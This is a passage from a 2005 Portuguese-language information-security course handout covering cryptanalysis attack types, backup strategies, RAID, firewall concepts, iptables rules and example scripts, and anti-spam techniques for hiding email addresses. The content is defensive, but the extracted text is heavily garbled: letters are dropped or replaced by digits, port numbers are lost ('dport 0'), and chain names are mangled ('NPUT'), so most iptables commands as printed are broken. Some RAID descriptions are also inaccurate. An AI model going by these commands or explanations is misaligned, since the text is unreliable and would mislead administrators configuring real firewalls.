1) 9aque de 9ex9o conhecido - Baseia-se na suposio de uma vasta quantidade de textos cifrados e
das mensagens originais, a que a funo do especialista, criptoanalista, descobrir as chaves
utilizadas;
2) 9aque adap9a9ivo do 9ex9o escoIhido (adap9a9ive - choosen - pIain9ex9) Neste segundo caso,
ele submete pequenos conjuntos de dados, obtm o resultado, analisa, fornece um novo conjunto e
assim sucessivamente, at que seja capaz de deduzir as chaves.
3) 9aque do 9ex9o cifrado escoIhido (choosen - cypher9ex9) o especialista possui uma vasta
gama de mensagem e os equivalentes dados cifrados, mas capaz de produzir uma mensagem
criptografada especfica para ser decifrada e obter o resultado produzido.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 21 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

5) Backup
atravs do processo de backup que podemos garantir a segurana de vrios tipos de dados. Este
processo consiste em realizar uma cpia total ou parcial de forma on-line ou off-line dos dados
armazenados
nas estaes de trabalho e/ou nos servidores de um determinado ambiente.
Contudo, dependendo as caractersticas do ambiente e das necessidades presentes do mesmo o
processo de backup pode variar largamente, deste modo, se faz necessrio o uso de critrios para
determinar a melhor forma para sua realizao. Deste os critrios que podem influenciar o processo de
backup so:
1. A quantidade de dados a serem protegidos;
2. A freqncia com que os dados devem ser copiados;
3. Tempo de realizao do backup e do restore dos dados;
4. A confidencialidade fornecida pelo processo;
5. O custo do processo e o valor das informaes;
. O prejuzo gerado pela perda parcial ou total dos dados.
5.1) Meios de armazenamento:
Definida as necessidades bsicas a serem atendidas devemos selecionar um do tipos de
armazenamento, que podem ser: on-line, Prximos e off-line.
As mdias de armazenamento on-line, consiste em discos rgidos ou arrays de discos. Estas mdias
fornecem uma disponibilidade em tempo real e so normalmente utilizados para fornecer uma forma
altrnativa de armazenamento. Estas mdias no substituem os backups offline;
O armazenamento prximo formado por "Jukeboxes ticos e cpias locais, que esto
rapidamente acessveis, normalmente fazem uso de robos para gerenciarem as mdias fornecendo um
acesso rpido aos dados quando o servio on-line no est disponvel;
J o armazenamento off-line consiste no arquivamento de mdias fora da rede de dados em um local
seguro e protegido contra roubo, catstrofes naturais e outros ameas. Sempre que possvel as mdias
devem ser armazenadas em local geogrficamente diferente e fora das instalaes comerciais da empresa.
Para a realizao deste tipos de backup podem ser utilizadas trs tipos de mdias diferentes:
fitas/discos magnticos, armazenamento tico e arrays de disco.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 22 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
As fitas magnticas so as mdias mais comuns, mais baratas utilizadas nos backups off-line, mas
por outro lado so as mais lentas e que ocupam um grande espao. Seus principais tipos so: mm,
Travan, DLT, DAT e Magstar
O armazenamento tico muito popular em ambientes onde a velocidade e a confiabilidade so as
maiores preocupaes, estes ambientes fazem uso de servidores com jukboxes ticos de alta
disponibilidade que so solues caras porem muito eficientes.
Os arrays de discos ou simplesmente RADs (Redundant Array of ndependet Disks) so um
subsistema de discos rgidos que melhoram o desempenho e a tolerncia a falhas, uma vez que os dados
so gravados em mais de um disco ao mesmo tempo. Estas solues podem ser tanto implementadas em
software quanto em hardware. Neste caso quando uma unidade de disco falha o administrador do sistema
pode substitui-la, em alguns casos, sem parar o funcionamento do servidor.
Os principais tipos de RAD so:
_ RID 0 este nvel realiza um "join dos discos, ou seja, ele combina todos os
discos em uma nica unidade lgica, til quando desejamos aumentar a
capacidade de armazenamento de dados;
_ RID 1 realiza o espelhamento de um disco em um outro, nesta soluo um
dos discos fica inativo, apenas recebendo os dados do disco mestre at que ele
falhe. Este nvel oferece uma boa tolerncia a falhas, visto que ao ocorrer a
falha de um disco os usurios so automaticamente redirecionados para o
antigo disco escravo;
_ RID 3 tambm implementa um espelhamento s que neste caso trs ou mais
unidades de disco so espelhadas em uma outra, este nvel tambm fornece
tolerncia a falhas, uma vez que grava os bits de paridade em uma unidade
dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto
nvel de desempenho;
_ RID 5 esta faz uso de trs unidades, em duas so armazenados os dados e
na terceira os bits de paridade, sendo esta a soluo mais utilizada;
_ RID 10: a combinao do RAD 1 e 0, ou seja, espelhamento e intercalao
entre unidade de disco.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 23 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
A soluo de RAD fornece um melhor desempenho e tolerncia a falhas, mas de forma alguma
substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo
tempo, perdendo o acesso total aos dados armazenados no array.
Outra soluo de proteo aos dados o HSM (Hierarchical Storage Management), que um
sistema automatizado para o gerenciamento de dados e espao em disco, muito utilizado em mainframes.
Esta soluo monitora a capacidade das unidades e move os dados para as mdias de armazenamento
prximo ou offline, mais lentas.
O HSM pode mover os dados segundo sua idade, freqncia de uso ou baseado em outros critrios,
permitindo deste modo uma migrao de dados automtica. Esta soluo relativamente cara e difcil de
ser implementada.
J as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade de
armazenamento, graas ao uso de um canal de fibra (fiberchannel), permite uma conexo de alta
velocidade
e implementa uma subrede de armazenamento, com isto libera a rede de produo do peso do backup de
dados e economiza largura de banda . Alm disto oferecem alta velocidade, confiabilidade e gerenciamento
centralizado.
Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores
de arquivos, visto que esto conectados diretamente a rede ethernet e possuem sistemas operacionais
embutidos nos equipamentos. Esta estrutura uma alternativa a incluso de unidades de dados nos
servidores. Para garantir a segurana dos dados estes equipamentos implementas um dos nveis de RAD
estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede.
Esta soluo relativamente barata, simples e possui grande compatibilidade entre fornecedores.
5.2 ) Tipos de backup quanto ao perodo de execuo e volume de dados
Dependendo de sua periodicidade o processo de backup pode ser nomeado como:
_ ackup CompIe9o realiza uma cpia de todos os dados para a mdia, no importando
o contedo do ltimo backup. Este tipo de backup normalmente possui periodicidade
semanal;
_ ackup Incremen9aI salva os arquivos que foram alterados desde o ltimo backup.
Neste processo o novo arquivo armazenado na mdia e o arquivo original no
removido da mdia. No processo de restaurao devemos ter o ltimo backup completo
e dos os backups incrementais desde ento. Este tipo de backup possui periodicidade
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 24 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
diria ou menor;
_ ackup DeI9a S faz a cpia dos dados reais que foram modificados nos arquivos,
um processo de backup mais rpido e que ocupa menos espao nas mdias de backup,
contudo o processo de restaurao mais lento e complexo. Tambm possui
periodicidade diria ou menor;
_ ackup DiferenciaI Copia todos os arquivos que foram alterados desde o ltimo
backup completo, por este motivo ocupa mais espao nas mdias de backup e mais
lento de ser gerado, contudo mais fcil de recupera-lo, sua execuo
preferencialmente deve ser diria ou em intervalo menor. Para restaurar os dados a
partir deste tipo de backup deve-se ter em mos apenas o ltimo backup completo e o
ltimo backup diferencial
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 25 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
) Firewall
Vrias pesquisas mostraram que a "nternet o principal ponto utilizado para realizar invases. Em
2002, segundo uma pesquisa feita pela mdulo, 43% das empresas sofreram algum tipo de ataque ou
invaso. Em 2003, esta valor subiu para %. E os hackers brasileiros so internacional considerados como
os melhores do mundo.
Outro fator importante que "... quanto mais tempo ficamos conectados internet, maiores so as
chances de sermos invadidos ou infectados por malwares .... sto tudo pois o pv4, verso atualmente em
uso da pilha de protocolos TCP/P, no foi projetado para assegurar a integridade das informaes e
realizar
o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de
pequenas falhas na implementao de servios e protocolos baseados no TCP/P.
.1) O papel do Firewall no contexto atual das redes de
computadores
A principal funo de um firewall proteger os dados da rede interna, aquela que no est
conectada a internet, de ataques vindos da rede externa, normalmente a internet. Ou seja, tem por objetivo
impedir acessos lgicos no autorizados a um determinado ambiente.
Neste modelo, o firewall geralmente a nica mquina diretamente conectada a rede externa, mas
cada n da rede pode e deve ter seu prprio firewall ativo, mas neste caso sua funcionalidade est restrita a
proteo local, incluindo possveis infeces e proliferaes de malwares na rede interna.
Outro uso freqente dos firewalls ser utilizado para filtrar quem pode acessar mquinas da rede
interna a partir da internet, este tipo de filtragem normalmente baseada no endereo P a origem da
conexo e em alguns casos em seu Mac Adress.
.2) Histrico
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 26 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.3) Tipos de Firewall
Existem vrias classificaes para os firewalls, contudo as mais comuns so: Filtro de Pacotes,
Firewall NAT e Hbridos.
Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Atravs da
anlise dos cabealhos dos pacotes nos vrios nveis da arquitetura de rede so capazes de comparar seus
contedos com regras de controle de acesso (ACLs) prviamente definidas e ento liberar ou no
determinado fluxo de dados.
J um firewall NAT manipula a rota padro de pacotes que atravessam o kernel do host, ele realiza
a traduo dos endereos de origem, de destino e algumas vezes pode inclusive realizar um
redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e Masquerading.
Um firewall SNAT normalmente utilizado para fornecer acesso a uma rede privada apartir de um
ou vrios endereos P fixo. J o Masquerading realiza a mesma funo s que sobre endereos . E um
firewell baseado em DNAT pode ser utilizado na construo de uma DMZ ou de um cluster de servidores.
O terceiro tipo de firewall seria o hbrido, que aquele que realiza tanto filtragem de pacote quando
redirecionamento (NAT).
Outra forma de classificao dos firewall quanto sua forma de atuao dentro da pilha RM/OS,
neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos.
Os Firewalls de nvel de Rede so na verdade roteadores com grande capacidade de filtragem de
pacote, permitem que haja uma restrio a nvel de endereo, protocolo, nmero da porta e contedo. So
fcil implementao, porm quando mal configurados esto sujeitos a ataques do tipo spoofing. Mas a
filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que: "o
desempenho do roteador inversamente proporcional ao nvel de filtragem imposta
J os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes, os
pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro escondendo
assim a rede interna.
Todos os tipos de firewall possuem suas limitaes, o de nvel de rede possui uma viso muito
limitada do que realmente acontece na rede. J os gateways de aplicativo tem um conhecimento maior
sobre a aplicao, porm so solues especficas para cada aplicativo. Um dos firewalls de aplicativos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 27 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
mais conhecido o SQUD, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.
.4) PTABLES: O firewall do Linux
Este software a quarta gerao de firewall no Linux e permite a realizao da filtragem dos
pacotes nas sete camadas da RM/OS, funcionando ainda como um firewall hbrido. As ACL utilizados por
ele esto todas armazenadas em memria, processo este que acelera os mecanismos de filtragem e
redirecionamento.
O iptables um dos poucos firewalls em software totalmente implementado no kernel do sistema
operacional, garantindo assim maior nvel de segurana a filtragem.
.4.1) As tabelas o .iptables.
Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada qual
com um funo especfica. As principais tabelas do iptables so:
_ fiI9er : responsvel pela filtragem de todos os pacotes que passam pelo host, no
importando origem e destino;
_ na9 : responsvel pelo controle dos pacotes que passam pelo host, mas cuja origem ou
destino no o mesmo. Esta tabela utilizada quando desejamos utilizar o iptables para
construir "gateways de borda.
_ mangIe : permite alterar caractersticas especficas do pacote, como por exemplo: o
TOS (Tipo de Servio) o que permite implementar um sistema simples de QOS
( qualidade de servio).
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 28 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.2) Fluxos do .iptables.
O iptables permite manipular vrios fluxos dependendo da tabela utilizada, sendo que a tabela "filter
possui os seguintes:
_ IPUT : fluxo formado pelos pacotes cujo endereo de destino o prprio host;
_ OUTPUT : fluxo dos pacotes originados pelos aplicativos e servios hospedados no
host;
_ ORWRD: fluxo composto por todos os pacotes que chegam ao host mas que so
destinados a outra mquina, que normalmente est na rede interna ou na DMZ. Logo
este fluxo utilizado para permitir a realizao do NAT;
A tabela "nat por sua vez possui os seguintes fluxos:
_ PRROUTIG : que permite realizar alteraes nos pacotes antes que eles sejam
roteados;
_ POSROUTIG : permite manipular os pacotes aps seu processo de roteamento;
_ OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host;
J a tabela "mangle possui os fluxos: PREROUTNG E OUTPUT.
.4.3) Comandos do .iptables.
Para a manipulao das ACLs armazenadas nas suas tabelas o iptables fornece os seguintes
comandos:
- : adiciona uma nova regra no final da lista de regras de uma dada tabela;
-L : lista todas as regras de uma determinada tabela;
-P : define a poltica padro uma tabela, ou seja a regra padro que ser aplicada a um
fluxo quando ele passar por todas as demais;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 29 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
- : remove todas as regras de uma tabela sem alterar sua poltica padro;
- : cria nova nova "chain na tabela especificada;
-X : apaga todas as "chains de uma determinada tabela;
.4.4) Aes do .iptables.
As aes permitem categorizar melhor as ACLs, fornecendo um tratamento mais detalhado sobre
quais pacotes devero ser manipulados. As principais aes fornecidas pelo iptables so listadas abaixo:
-p : especifica qual protocolo ser manipulado (TCP, UDP CMP, etc..);
-i : especifica a interface pela qual o pacote deve entrar (eth0, eth1, ppp0, ppp+);
-o : especifica a interface pela qual o pacote deve sair (eth0, eth1, ppp0, ppp+);
-s : informa a origem do pacote, este valor pode ser um endereo ip (12.1.254.15),
pode ser uma classe ip (12.1.254.254/24), pode ser um nome de maquina
(ftp.cyberoots.com.br) ou um domnio ( cyberoots.com.br );
--spor9 : informa a porta a partir da qual o pacote ser enviado, porta de origem;
-d : informa o destino do pacote;
--dpor9 : informa a porta de destino do pacote;
-j : informa o de deve ser feito com o pacote, ou seja o alvo da regra.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 30 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.5) Alvos da regras
Quando um fluxo se enquadra em todos os quesitos especificados por uma regra, ele poder entrar
na mquina, ser rejeitado ou outras aes podero ser realizadas, a estas aes damos o nome de alvo da
regra ou fluxo. Os principais alvos implementados pelo iptables so:
CCPT : permite a entrada ou a sada ou o forward do pacote;
DROP : descarta o pacote, sem comunicar a origem que o mesmo foi rejeitado, ideal
para ocultar a existncia do firewall;
RJCT : descarta o pacote informando a origem que ele foi rejeitado pelo destino;
LOG : registra o pacote em um arquivo de log que pode ser especificado atravs dos
nveis de log do sistema, mas por default as mensagens so enviadas para o arquivo
"/var/log/messages;
ST : altera o endereo de origem do pacote que atendeu as caractersticas
especificadas;
DT : altera o endereo de destino do pacote;
RDIRCT : redireciona o pacote para uma porta diferente.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 31 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.5) Exemplos de scripts de Firewall
(a) Firewall para bloquear todo o fluxo de dados s liberando o fluxo na interface lo
#
# definindo as regras padro
#
iptables -P NPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#
# liberando a interface lo
#
iptables -A NPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:
#
# definindo as regras padro
#
iptables -P NPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# definindo as regras de filtragem ao HTTP e HTTPS
#
iptables -A NPUT -p tcp dport 0 -j ACCEPT
iptables -A NPUT -p tcp dport 443 -j ACCEPT
(c) Firewall para liberar o acesso servio http, para acesso externo ( eth1) e acesso pela intranet (eth0) na
porta 00.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 32 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
#
# definindo as regras padro
#
iptables -P NPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# definindo as regras de filtragem ao HTTP e HTTPS
#
iptables -A NPUT -p tcp dport 0 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 443 -i eth0 -j ACCEPT
(d) Firewall para um servidor que hospeda os servios: http (0), https (443), imap (143), pop3 (110), smtp
(25), ftp (21), ssh (22). De tal modo que, todos os servios possam ser acessados pela intranet (eth1) e os
nicos servios que podem ser acessados pela internet (eth0) so o http e o https.
#
# definindo as regras padro
#
iptables -P NPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando acesso pela internet (eth0)
#
iptables -A NPUT -p tcp dport 0 -i eth0 -j ACCEPT
iptables -A NPUT -p tcp dport 443 -i eth0 -j ACCEPT
#
# liberando acesso pela internet (eth1)
#
iptables -A NPUT -p tcp dport 0 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 443 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 143 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 110 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 25 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 21 -i eth1 -j ACCEPT
iptables -A NPUT -p tcp dport 22 -i eth1 -j ACCEPT
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 33 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
(e) Firewall para um servidor que:
_ proiba que qualquer pacote oriundo de nossa LAN (12.1.254.0/24) possa ser direcionado ao
site "www.sexo.com.br;
_ proiba que qualquer pacote oriundo do host "www.cracker.com possa penetrar na nossa rede;
_ permitir a entrada de pacotes oriundos do site www.cyberoots.org.br" na nossa rede;
_ todos os pacotes oriundos da interface "eth1 do firewall devem ser redirecionados para o
computador 12.1.254.254;
_ todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus endereos
de origem alterados para 14.14.32.0;
_ todos os pacotes que tentam entrar na rede por uma interface diferente da "eth0 devem ser
descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface
diferente da "eth2;
_ descarte todos os pacotes oriundos do ip 200.255..11 e destinado ao P 12.1.254.;
_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormente
descartados;
# poltica padro
#
iptables -P NPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando o trfego na interface lo
#
iptables -A NPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#
# pacotes que entram no firewall
#
iptables -A NPUT -p tcp - -dport 23 -j LOG " [firewall] acesso ao servio de telnet
iptables -A NPUT -p tcp - -dport 23 -j DROP
#
# regras de forward
#
iptables -A FORWARD -s 12.15.254.0/24 -d www.sexo.com.br -j DROP
iptables -A FORWARD -d 12.15.254.0/24 -s www.cyberoots.org.br -j ACCEPT
iptables -A FORWARD -s 200.255..11 -d 12.1.254. -j DROP
iptables -A FORWARD -i ! eth1 -j DROP
iptables -A FORWARD -o ! eth0 -j DROP
#
# regras de nat
#
iptables -t nat -A PREROUTNG -i eth1 -j DNAT 12.1.254.15
iptables -t nat -A POSTROUTNG -o eth1 -j SNAT 12.1.254.1
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 34 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.) Alguns Fluxos de NAT
Para acessos internet atravs de uma conexo discada ou banda larga, que no fornece endereo
fixo podemos utilizar a regra abaixo:
iptables -t nat -A POSTROUTNG -o ppp -j MASQUERADE
J para conexo internet atravs de um endereo P fixo e conhecido podemos utilizar uma regra
como a que est abaixo:
iptables -t nat -A POSTROUTNG -s 10.10.0.0/24 -o eth0 -j SNAT - -to 14.14.32.
Outra regra muito comum aquela usada para redirecionar uma conexo vinda da internet para a DMZ, como
mostra a figura abaixo:
iptables -t nat -A PREROUTNG -i eth0 -p tcp - -dport 0 -j DNAT - -to 10.10.0.1
.4.7) Regras e configuraes 9eis
a) Habilitando o forward no kernel do Linux
Para permitir que o iptables instalado em uma distribuio Linux faa forward de pacotes esta
funcionalidade deve estar ativa no kernell do sistema, para tal podemos utilizar a seguinte linha de
comando:
echo "1 > /proc/sys/net/ipv4/ip_forward
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 35 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do
comando a cima, ou seja :
echo "0 > /proc/sys/net/ipv4/ip_forward
b) Qualquer pacote cuja origem o host 10.0.3.1 dever ter seu endereo de origem alterado para
12.11.22.33:
iptables -t nat -A POSTROUTNG -s 10.0.3.1 -o eth0 -j SNAT - -to 12.11.22.33
c) Qualquer pacote cuja origem a rede 10.0.3.0/ deve ter seu endereo de origem alterado para
12.11.22.33:
iptables -t nat -A POSTROUTNG -s 10.0.3.0/ -o eth0 -j SNAT - -to 12.11.22.33
d) Qualquer pacote cuja origem a rede 10.0.3.0/ que sai pela interface eth0 deve ter seu endereo de
origem alterado para qualquer um do intervalo 12.11.22.33-12.11.22.:
iptables -t nat -A POSTROUTNG -s 10.0.3.0/ -o eth0 -j SNAT - -to 12.11.22.33-12.11.22.
e) Qualquer pacote que venha do host 10.0.3.1 e entre na mquina pela interface eth0 deve ser
redirecionado para o endereo 12.11.22.33:
iptables -t nat -A PREROUTNG -s 10.0.3.1 -i eth0 -j DNAT - -to 12.11.22.33
f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereos do
intervalo: 12.11.22.10 at 12.11.22.33:
iptables -t nat -A PREROUTNG -i eth0 -j DNAT - -to 12.11.22.10-12.11.22.33
g) Todos os pacotes que entram pela interface eth2 e so destinados a porta 22 deve ser redirecionados
para o host 12.11.22.1:
iptables -t nat -A PREROUTNG -i eth2 -p tcp - -dport 22 -j DNAT - -to 12.11.22.1
h) Criando um proxy transparente :
iptables -t nat -A PREROUTNG -i eth0 -p tcp - -dport 0 -j REDRECT - -to-port 312
iptables -t nat -A PREROUTNG -i eth0 -p tcp - -dport 443 -j REDRECT - -to-port 312
iptables -t nat -A PREROUTNG -i eth0 -p tcp - -dport 21 -j REDRECT - -to-port 312
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 36 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.)Firewall a ser utilizando em um bastio
#
# definindo as regras padro
#
iptables -P NPUT DROP
iptables -P OUTUP ACCEPT
iptables -P FORARD DROP
#
# liberado o loopback
#
iptables -A NPUT -i lo -j ACCEPT
#
# filtando os pacotes
#
iptables -A NPUT -p tcp - -dport 22 -j ACCEPT
iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT
iptables -t nat -A PREROUTNG -p tcp - -dport 0 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTNG -p tcp - -dport 443 -j DNAT - -to 10.10.0.1
iptables -t nat -A PREROUTNG -p tcp - -dport 21 -j DNAT - -to 10.10.0.2
iptables -t nat -A PREROUTNG -p tcp - -dport 110 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTNG -p tcp - -dport 5 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTNG -p tcp - -dport 25 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTNG -p tcp - -dport 45 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTNG -p tcp - -dport 143 -j DNAT - -to 10.10.0.3
iptables -t nat -A PREROUTNG -p tcp - -dport 3 -j DNAT - -to 10.10.0.3
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 37 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.4.) Firewall para compartilhamento do Acesso a nternet
#
# libera forward no kernel
#
echo "1 > /proc/sys/net/ipv4/ip_forward
#
# Poltica padro
#
iptables -P NPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
#
# liberando acesso a interface lo
#
iptables -A NPUT -i lo -J ACCEPT
#
# libera a entrada de conexes iniciadas pela mquina
#
iptables -A NPUT -m state - -state ESTABLSHED,RELATED -j ACCEPT
#
# bloqueia entrada na rede de conexes invlidas
#
iptables -A FORWARD -m state - -state NEW,NVALD -j DROP
#
# hablitando o macascaramento com ip dinmico
#
iptables -t nat -A POSTROUTNG -s 12.1.254.0/24 -o eth0 -j MASQUERADE
#
# libera a entrada de conexes iniciadas pela rede
#
iptables -A FORWARD -o eth0 -m state - -state ESTABLSHED,RELATED -j ACCEPT
#
# habilita o forward vinda da rede interna
#
iptables -A FORWARD -i eth1 -s 12.1.254.0/24 -J ACCEPT
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 38 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
) SPAM
O SPAM, prtica to comum nos dias atuais, tem se tornado um problema para a maioria dos
administradores de sistemas, desenvolvedores e usurios de internet, mas a medida que os filtros anti-spam
evoluem as tcnicas utilizadas para burlar os filtros se desenvolvem mais rpido ainda. Uma tcnica que
tem
surtido efeito o uso da heurstica, mas seu ponto fraco apresentar uma grande quantidade de falsos
positivos.
Mas uma coisa certa muito administradores esto ajudando os inimigos, principalmente aqueles
que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existncia daquele e-
mail.
Mas alguns administradores esto fazendo sua parte, uma das medidas adotadas a adoo de
servidores de SMTP que requerem a autenticao dos usurios antes de enviar o e-mail seu destinatrio.
A seguir sero apresentadas algumas tcnicas que podem ser utilizadas para minimizar a ao dos
spammer.
.1) Protegendo os endereos de e-mail
Segundo pesquisa realizada pelo "Center for Democracy and Technology (CDT), uma das
principais fontes de endereos de e-mail para os spammer so os websites que esto disponveis e que no
requerem autenticao. Neste contento alguns acham interessante excluir os e-mail das pginas
impediando este tipo de coleta por parte dos spanner, mas como os verdadeiros usurios tero acesso a
eles. O que deve ser implementado uma forma de evitar que os spanner possam utilizar seus "robos para
coletarem de forma automtica estes endereos nos websites.
O funcionamento destes "robos garimpeiros se baseia em encontrar algumas palavras ou
caracteres chaves nas pginas da internet, das quais pode-se estacar "mailto, "@, "mail, "e-mail e etc. A
aqueles que fazem uso de algum sistema operacional UNX-Like, como o Linux, podem construir seu
prprio scanner de e-mail com alguns comandos ( wget, tr, send, sort, cat e uniq).
Mas nem tudo est perdido, vrias so as tcnicas que camuflagem que podem ser utilizadas a
mais simples, podem a mais problemtica para o usurio utilizar um e-mail "falso como por exemplo:
supor9e@remova-es9a-par9e.cyberoo9s.com.br, apesar de ser eficiente esta tcnica pode complicar a
vida
do usurios mais leigos, que tambm no sabero distinguir qual a parte vlida do endereo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 39 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Outra forma de se proteger inserir no cdigo html o e-mail utilizando os caracteres codificados e
no os caracteres em s, por exemplo no lugar de usuario@exemplo.com.br deveramos utilizar:
s�riexe
p&#1
0;o�o
�r
Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos
utilizados pelos spammer no possuem ferramentas para interpretar estes caracteres, no ainda.
Outra tcnica que pode ser utilizada so os java scripts, que tambm no so interpretados pelos
robos, podemos por exemplo usa a funo documment.writer() para escrever o contedo do e-mail, que
permitir aos usurios visualizarem o endereo mas que iro confundir as sondas de coleta, ainda neste
sentido podemos colocar o endereo de e-mail em um arquivo externo.
A criptografia tambm pode nos ajudar, uma forma bem simplria de resolver o problema utilizar a
funo "XOR da lgica matemtica para esconder o contedo do texto no cdigo e utilizar o java script para
realizar a decodificao do endereo. Mesmo sem uma forma fraca de criptografia ela muito eficientes
contra os robos dos spammers. Mas os clientes que no possuem o java script habilitado no podero
visualizar o endereo de e-mail, contudo a grande maioria dos navegadores j possuem suporte a java
script, basta ento solicitar ao usurio que o habilite em seu navegador.
Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma
figura contendo o endereo de e-mail, como a maioria dos robos no verificam o contedos das figuras o
endereo passar desapercebido. Todavia tambm podemos utilizar uma animao flash para a mesma
finalidade, mas o flash nem sempre est instalado na mquina do visitante e ele ainda no foi portado para
todas as plataforma que suportam o uso de navegadores web.
Entretanto se o motivo de se expor o endereo de e-mail para que os visitantes possam entrar em
contato, podemos trocar este endereo por um formulrio simples que pode ser usado para a mesma
finalidade.
